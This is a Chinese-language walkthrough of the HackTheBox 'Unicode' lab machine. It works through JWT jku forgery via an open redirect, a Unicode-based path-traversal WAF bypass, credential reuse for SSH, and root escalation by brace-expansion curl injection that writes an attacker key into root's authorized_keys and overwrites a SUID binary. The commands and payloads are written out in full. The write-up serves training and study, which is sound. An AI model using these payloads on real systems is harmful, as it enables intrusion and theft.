HackTheBox - Unicode

本文最后更新于:2022年6月6日 下午

0x01 Recon

端口

1
nmap -sC -sV -v 10.10.11.126 
1
2
3
4
5
6
7
8
9
10
11
12
13
PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 fd:a0:f7:93:9e:d3:cc:bd:c2:3c:7f:92:35:70:d7:77 (RSA)
| 256 8b:b6:98:2d:fa:00:e5:e2:9c:8f:af:0f:44:99:03:b1 (ECDSA)
|_ 256 c9:89:27:3e:91:cb:51:27:6f:39:89:36:10:41:df:7c (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: 503
| http-methods:
|_ Supported Methods: HEAD GET OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

站点

到处看看

站点看起来是一个威胁情报商业公司的站点,网站最中央有一个非常显眼的按钮。点击按钮会发起重定向访问/redirect/?url=google.com,之后就会经过302跳转转到google.com

站点在注册账号和登陆后重定向到/dashboard。首页有三个按钮,看起来中间那个按钮是我们的目标。

image-20220519110000548

同时在界面的底部有一个Powered By flask,大概率这是一个Flask编写的站点。

image-20220519105939309

第一个按钮定位到/pricing,没啥用。第二个按钮定位到/upload,看起来是一个文件上传的绕过。但是Flask并没有文件上传相关的漏洞,同时文件上传的后缀也被限制在了pdf,同时上传成功了并没有读取的界面,看起来这里并不能利用。

image-20220519110344446

目录扫描

目录扫描没有找到有用的结果,这里就不放出来了。

架构分析

虽然网站功能本身并没有太多有意思的点,但是抓包能够发现网站使用了jwt作为验证手段。

image-20220519111007635

image-20220519105356482

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy9qd2tzLmpzb24ifQ.eyJ1c2VyIjoiYWRtaW4yIn0.E48Ev307FZKerAanbwLSKHXe_c_Y2axUe_K37bCMlTrDpgPGswjiGcMn7ycdAcSQwg1GgIGi23AE1IxvK6iROO2xRmPG71NTLYrXDCkUxZlq-VHFR-6cCiWddmc-OlRgDK3-RErCFy47AtL4kODl1h9BlKtEXAmftXd3awfFTkfDU1SVqFddhsCn-Dl8ttZILkf4qHXHeD7-3mk5hjOzHPxi7ez3sei_CRHURQByXj0unjPfJxRJDCNIIZizRAiCpTbG3qyDBbgzjmxJySjMziwrdB0f1vHx-1cNUVhTBozlzPQx8OsRrcluA9TkXq8jabDQUnItQe91lOb4ufgS1g

放到jwt.io里解析一下,发现和经常碰到的jwt加密方式不一样,比较常见的jwt header中,alg字段是HS256,这里是RS256,然后有一个不太熟悉的字段jku

image-20220516134433155

JKU利用

访问文件http://hackmedia.htb/static/jwks.json,能够发现一些emm...,看不懂的信息。

1
2
3
4
5
6
7
8
9
10
11
12
{
"keys": [
{
"kty": "RSA",
"use": "sig",
"kid": "hackthebox",
"alg": "RS256",
"n": "AMVcGPF62MA_lnClN4Z6WNCXZHbPYr-dhkiuE2kBaEPYYclRFDa24a-AqVY5RR2NisEP25wdHqHmGhm3Tde2xFKFzizVTxxTOy0OtoH09SGuyl_uFZI0vQMLXJtHZuy_YRWhxTSzp3bTeFZBHC3bju-UxiJZNPQq3PMMC8oTKQs5o-bjnYGi3tmTgzJrTbFkQJKltWC8XIhc5MAWUGcoI4q9DUnPj_qzsDjMBGoW1N5QtnU91jurva9SJcN0jb7aYo2vlP1JTurNBtwBMBU99CyXZ5iRJLExxgUNsDBF_DswJoOxs7CAVC5FjIqhb1tRTy3afMWsmGqw8HiUA2WFYcs",
"e": "AQAB"
}
]
}

我们可以尝试搜索一下jwks.json这个文件名,总之最后找到下面两个有用的帖子。

1
2
https://infosecwriteups.com/attacking-json-web-tokens-jwts-d1d51a1e17cb
https://www.anquanke.com/post/id/236830

在安全客那篇帖子中对可用的攻击方式做了很好的总结。我们先尝试一下随便修改jku指向我们的服务器地址,如"jku":"http://10.10.16.4/jwks.json",发现返回报错。

image-20220516135451161

但是同时我们的机子上并没有显示服务器的访问信息。可以断定是程序逻辑本身对jku作了前缀限制。按照帖子中提到的方法,我们可以使用重定位的方式绕过限制,原因是在之前我们发现了一个重定位的链接/redirect

直接使用 http://hackmedia.htb/redirect/?url=10.10.16.2/jwks.json不行。

进一步尝试发现http://hackmedia.htb/static/../redirect/?url=10.10.16.2/jwks.json 可以。

1
2
➤  echo '{"typ":"JWT","alg":"RS256","jku":"http://hackmedia.htb/static/../redirect/?url=10.10.16.4/jwks.json"}' | base64 -w0
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy8uLi9yZWRpcmVjdC8/dXJsPTEwLjEwLjE2LjQvandrcy5qc29uIn0

替换Cookie后刷新,能够在本机上看到服务器的访问记录。

1
2
3
4
➤  python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.126 - - [16/May/2022 14:03:02] code 404, message File not found
10.10.11.126 - - [16/May/2022 14:03:02] "GET /jwks.json HTTP/1.1" 404 -

为了能够达到伪造token,首先需要伪造auth cookie。

1
2
openssl genrsa -out keypair.pem 2048	#产生私钥
openssl rsa -in keypair.pem -pubout -out public.crt #产生公钥

之后将公私钥文件内容分别贴入签名部分。

image-20220519120453346

于我而言,得到了如下Cookie。

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy8uLi9yZWRpcmVjdC8_dXJsPTEwLjEwLjE2LjQvandrcy5qc29uIn0.eyJ1c2VyIjoiYWRtaW4ifQ.vkKhZyZ7NTaiJSZSJI3pT1pknITQRVgRFKnQ0RN4I_owpB6e25_lFQEekoqO61uA0Et8qGocxYUg5e79LSx1Uwa0B7uVVNOld1A6QiVEC06XBYkJ22FE1Qxe7xK-xRBMY2fHXFH49fTYSS4V_wQNP_iLD1xu7NLxQlN9hLCCaQiW-iJlP96j1axOtE5zBBPHFGzh8LU5G4TTH_9lrDQpgg7jeITO06ZMvanuGTJ7ijgyEMinUJOsOs-SGHzcf6vtOA8kPd_jbp_Bgf0JgKkJFNDHE-V3GoucATG625NXaOGkRXu7PM0KXnZJMzfBLcHZlIR3o4G4pT5Lw2jy72m3Nw

接下来就是构造我们的jwks.json了。使用如下脚本生成jwks.json中的n、e值。

1
2
3
4
5
6
7
8
from Crypto.PublicKey import RSA

fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()

print "n:", hex(key.n)
print "e:", hex(key.e)
1
2
3
➤  python2 ne.py                                                                                                      
n: 0xc71e2172aacd5d11239575380d3768f0615f23e049bce26eed5b86a0646ddd919a2999831d7674c0b40900c26e51491c01dfde7c59bbd328a73ffb96e85d55bdf22e60880c3f504060b0c3a231f26df74898d8ca46fae6378b4c00c754fb6134408c23a46ccc58ee8f6a5e3533a38ddee1303e10057433258b4acd72fd9a20c4bfce2c24ed21d4a235b2e1556ba52ee9027bbd279facce009872d1b9e254d10eefe07f20bc6932ef269bdedd32127948316
e: 0x10001L

但是观察服务器上的jwks.json,我们发现和我们得到的n、e值格式不太一样。

1
2
"n": "AMVcGPF62MA_lnClN4Z6WNCXZHbPYr-dhkiuE2kBaEPYYclRFDa24a-AqVY5RR2NisEP25wdHqHmGhm3Tde2xFKFzizVTxxTOy0OtoH09SGuyl_uFZI0vQMLXJtHZuy_YRWhxTSzp3bTeFZBHC3bju-UxiJZNPQq3PMMC8oTKQs5o-bjnYGi3tmTgzJrTbFkQJKltWC8XIhc5MAWUGcoI4q9DUnPj_qzsDjMBGoW1N5QtnU91jurva9SJcN0jb7aYo2vlP1JTurNBtwBMBU99CyXZ5iRJLExxgUNsDBF_DswJoOxs7CAVC5FjIqhb1tRTy3afMWsmGqw8HiUA2WFYcs",
"e": "AQAB"

AQABBase64解码,如下:

1
2
echo AQAB | base64 -d | xxd
00000000: 0100 01 ...

合理推测服务器上的n、e是原始十六进制的Base64编码。

我们也可以据此生成我们的jwks.json文件。e值我们是不用修改了,只用修改n值即可。

1
2
3
echo "c71e2172aacd5d11239575380d3768f0615f23e049bce26eed5b86a0646ddd919a2999831d7674c0b40900c26e51491c01dfde7c59bbd328a73ffb96e85d55bdf22e60880c3f504060b0c3a231f26df74898d8ca46fae6378b4c00c754fb6134408c23a46ccc58ee8f6a5e3533a38ddee1303e10057433258b4acd72fd9a20c4bfce2c24ed21d4a235b2e1556ba52ee9027bbd279facce009872d1b9e254d10eefe07f20bc6932ef269bdedd32127948316" | xxd -r -p | base64 -w0

xx4hcqrNXREjlXU4DTdo8GFfI+BJvOJu7VuGoGRt3ZGaKZmDHXZ0wLQJAMJuUUkcAd/efFm70yinP/uW6F1VvfIuYIgMP1BAYLDDojHybfdImNjKRvrmN4tMAMdU+2E0QIwjpGzMWO6Pal41M6ON3uEwPhAFdDMli0rNcv2aIMS/ziwk7SHUojWy4VVrpS7pAnu9J5+szgCYctG54lTRDu/gfyC8aTLvJpve3TISeUgx

如此,替换后最后得到我们的jwks.json文件。最后起一个http服务器即可。

成功后我们就以admin身份进入了(至于为啥是admin,只能说猜的)。

点题:Unicode

进入后能够看到admin版的dashboard。

image-20220519121951230

几个按钮点一遍后发现一个查看pdf报表的链接,猜测有SSRF。

image-20220518174401028

读取一些常见的文件发现一些文件会显示被过滤,比如在这里读取了/etc/passwd

image-20220518174832678

在读取一些不存在的文件的时候会显示Not Found

image-20220518174932813

也就是我们需要对这个waf进行一个绕过了,结合题目是Unicode,我们的ByPass机制应该和Unicode有关。

但首先我们需要知道waf的过滤机制,在一些FUZZ工作后我发现有如下规律:

输入 结果
.. 通过
./ 通过
../ 拦截
/et 通过
/etc 拦截
et 通过
etc 拦截
..etc 通过
var 通过
/var 拦截
/abc 通过

也就是这个waf似乎过滤了一些根目录文件夹名和../这个符号。

在尝试后我们发现可以通过Unicode兼容性绕过过滤。参考

所以我们可以将..替换成进行绕过,也可以使用Enclosed alphanumerics

1
2
3
4
5
# 方案1
http://hackmedia.htb/display/?page=‥/‥//‥/etc/passwd

# 方案2,理论上可行。但是在这里这个失败了,原因未知。
http://hackmedia.htb/display/?page=/ⓔⓣⓒ/ⓟⓐⓢⓢⓦⓓ

最后使用方案1成功读取了文件。

读文件

image-20220518180737523

看一眼/proc/self/cmdline,这个熟悉的8000端口和uwsgi,是flask没跑了。

image-20220518183805959

然后是/proc/self/environ变量,能够发现一个code用户。

image-20220518183901611

然后尝试读一下源码,典型的flask的主py文件名是app.py,能够成功读取。

image-20220518184332934

然后是数据库配置文件。

image-20220518184400336

得到凭据信息code:B3stC0d3r2021@@!,拿去撞库登录ssh,成功。

image-20220518184545949

0x02 Root

sudo

接下来就是提权了,sudo -l 就能直接看到我们的目标。

1
2
3
4
5
6
code@code:~$ sudo -l
Matching Defaults entries for code on code:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User code may run the following commands on code:
(root) NOPASSWD: /usr/bin/treport

treport 逆向

运行文件能够看到这是一个处理report的小脚本。从这个文件的功能不难发现可能的提权方式就是文件覆写(包括写SSH,sudoer文件等)。

1
2
3
4
5
6
code@code:~$ sudo /usr/bin/treport
1.Create Threat Report.
2.Read Threat Report.
3.Download A Threat Report.
4.Quit.
Enter your choice:

file命令看看,能够发现这是一个ELF可执行文件。

1
2
code@code:~$ file /usr/bin/treport
/usr/bin/treport: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f6af5bc244c001328c174a6abf855d682aa7401b, for GNU/Linux 2.6.32, stripped

另外这个文件大得过分,和它所体现的功能实在不是很对应。这种一般都是使用了某些脚本代码打包工具。

将文件脱下用IDA看看,能够看到很多Py开头的文件。初步推断就是Python。

image-20220518191649135

然后尝试使用PyInstaller Extractor提取pyc文件,成功。

python pyinstxtractor.py ../../桌面/Unicode/treport
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
➤  python pyinstxtractor.py ../../桌面/Unicode/treport
[+] Processing ../../桌面/Unicode/treport
[+] Pyinstaller version: 2.1+
[+] Python version: 38
[+] Length of package: 6798297 bytes
[+] Found 46 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: treport.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python38 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: ../../桌面/Unicode/treport

You can now use a python decompiler on the pyc files within the extracted directory
1
2
3
4
5
6
7
8
9
10
11
➤  ll | grep pyc         
-rw-r--r-- 1 kali kali 1.4K 5月 18 19:36 pyiboot01_bootstrap.pyc
-rw-r--r-- 1 kali kali 1.8K 5月 18 19:36 pyimod01_os_path.pyc
-rw-r--r-- 1 kali kali 8.7K 5月 18 19:36 pyimod02_archive.pyc
-rw-r--r-- 1 kali kali 13K 5月 18 19:36 pyimod03_importers.pyc
-rw-r--r-- 1 kali kali 3.4K 5月 18 19:36 pyimod04_ctypes.pyc
-rw-r--r-- 1 kali kali 688 5月 18 19:36 pyi_rth_inspect.pyc
-rw-r--r-- 1 kali kali 2.1K 5月 18 19:36 pyi_rth_multiprocessing.pyc
-rw-r--r-- 1 kali kali 1.1K 5月 18 19:36 pyi_rth_pkgutil.pyc
-rw-r--r-- 1 kali kali 311 5月 18 19:36 struct.pyc
-rw-r--r-- 1 kali kali 2.6K 5月 18 19:36 treport.pyc

然后使用 uncompyle6 将pyc文件还原成py文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
# uncompyle6 version 3.8.0
# Python bytecode 3.8.0 (3413)
# Decompiled from: Python 3.8.2 (default, Jul 16 2020, 14:00:26)
# [GCC 9.3.0]
# Embedded file name: treport.py
import os, sys
from datetime import datetime
import re

class threat_report:

def create(self):
file_name = input('Enter the filename:')
content = input('Enter the report:')
if '../' in file_name:
print('NOT ALLOWED')
sys.exit(0)
file_path = '/root/reports/' + file_name
with open(file_path, 'w') as (fd):
fd.write(content)

def list_files(self):
file_list = os.listdir('/root/reports/')
files_in_dir = ' '.join([str(elem) for elem in file_list])
print('ALL THE THREAT REPORTS:')
print(files_in_dir)

def read_file(self):
file_name = input('\nEnter the filename:')
if '../' in file_name:
print('NOT ALLOWED')
sys.exit(0)
contents = ''
file_name = '/root/reports/' + file_name
try:
with open(file_name, 'r') as (fd):
contents = fd.read()
except:
print('SOMETHING IS WRONG')
else:
print(contents)

def download(self):
now = datetime.now()
current_time = now.strftime('%H_%M_%S')
command_injection_list = ['$', '`', ';', '&', '|', '||', '>', '<', '?', "'", '@', '#', '$', '%', '^', '(', ')']
ip = input('Enter the IP/file_name:')
res = bool(re.search('\\s', ip))
if res:
print('INVALID IP')
sys.exit(0)
if 'file' in ip or 'gopher' in ip or 'mysql' in ip:
print('INVALID URL')
sys.exit(0)
for vars in command_injection_list:
if vars in ip:
print('NOT ALLOWED')
sys.exit(0)
cmd = '/bin/bash -c "curl ' + ip + ' -o /root/reports/threat_report_' + current_time + '"'
os.system(cmd)


if __name__ == '__main__':
obj = threat_report()
print('1.Create Threat Report.')
print('2.Read Threat Report.')
print('3.Download A Threat Report.')
print('4.Quit.')
check = True
if check:
choice = input('Enter your choice:')
try:
choice = int(choice)
except:
print('Wrong Input')
sys.exit(0)
else:
if choice == 1:
obj.create()
elif choice == 2:
obj.list_files()
obj.read_file()
elif choice == 3:
obj.download()
elif choice == 4:
check = False
else:
print('Wrong input.')
# okay decompiling treport.pyc

Bypass

其中download函数比较有意思,它首先检查了过滤,然后使用了os.system来执行命令。

我们能控制的只有cmd中的ip参数,然后一些bash中的命令分隔符号都被过滤了,无法通过;&'|><这些符号来执行另一条系统命令。

1
cmd = '/bin/bash -c "curl ' + ip + ' -o /root/reports/threat_report_' + current_time + '"'

但是curl有一个特性就是它在传入多重参数的时候不会报错,而是会选择先出现的参数,亦即我们需要将命令中原本的-o参数给覆盖成自己的。

这个方案还有一个问题是该如何输入空格,一个可行的方案如下,原理是使用了Bash的Brace Expansion特性。

1
{http://10.10.16.4/key,-o,/root/.ssh/authorized_keys}

在拼接后,最后执行的命令如下:

1
curl http://10.10.16.4/key -o /root/.ssh/authorized_keys -o /root/reports/threat_report_[current_time]

在本机上架设http服务器,传送自己的公钥即可。

1
2
3
➤  python3 -m http.server 80                          
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.126 - - [19/May/2022 10:47:11] "GET /key HTTP/1.1" 200 -

然后就能连接上root的ssh了。

1
2
3
4
➤  ssh root@hackmedia.htb

root@code:~# cat root.txt
926e6c18a43aa228f6c974c20500a181

0x03 一些后记

看了0xdf大哥的帖子,在提权上的思路有所收获。特此记录。

任意文件读

注意到treport.py中有这样一段代码:

1
2
3
if 'file' in ip or 'gopher' in ip or 'mysql' in ip:
print('INVALID URL')
sys.exit(0)

这个代码本身是为了防止我们使用file等伪协议直接读取本地的文件的,但是注意到 Python 检查是区分大小写的,而curl 并不关心。 我可以将它与正文的命令注入结合起来读取文件:

1
{fiLe:///root/root.txt}

之后执行的命令如下,再查看文件即可拿到root.txt。

1
curl fiLe:///root/root.txt  -o /root/reports/threat_report_[current_time]

读写综合利用

任意文件读写的综合利用还可以产生一个有趣的文件读取思路。

首先查找具有SUID权限的文件。如/usr/bin/chsh,命令可以使用find / -perm -4000 -user root 2>/dev/null

然后将/usr/bin/chsh使用sh覆写:

1
2
3
4
5
6
Enter your choice:3
Enter the IP/file_name:{File:///bin/sh,-o,/usr/bin/chsh}
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 126k 100 126k 0 0 123M 0 --:--:-- --:--:-- --:--:-- 123M
Enter your choice:

覆写后文件的SUID位不会变化,此时使用命令chsh -p(对应原来的sh -p)命令即可获得root的shell。

1
2
3
code@code:~$ chsh -p
# id
uid=1000(code) gid=1000(code) euid=0(root) groups=1000(code)

0x04 Summary

这是一个Medium难度的Linux靶机,主要考察内容如下:

  • JWT中的JKU利用
  • 基于Unicode机制的WAF Bypass
  • 网站根目录的确定
  • 打包后的python代码的还原
  • python代码审计
  • 命令执行绕过技巧

HackTheBox - Unicode
https://m0ck1ng-b1rd.github.io/2022/05/19/HTB/Unicode/
作者
何语灵
发布于
2022年5月19日
许可协议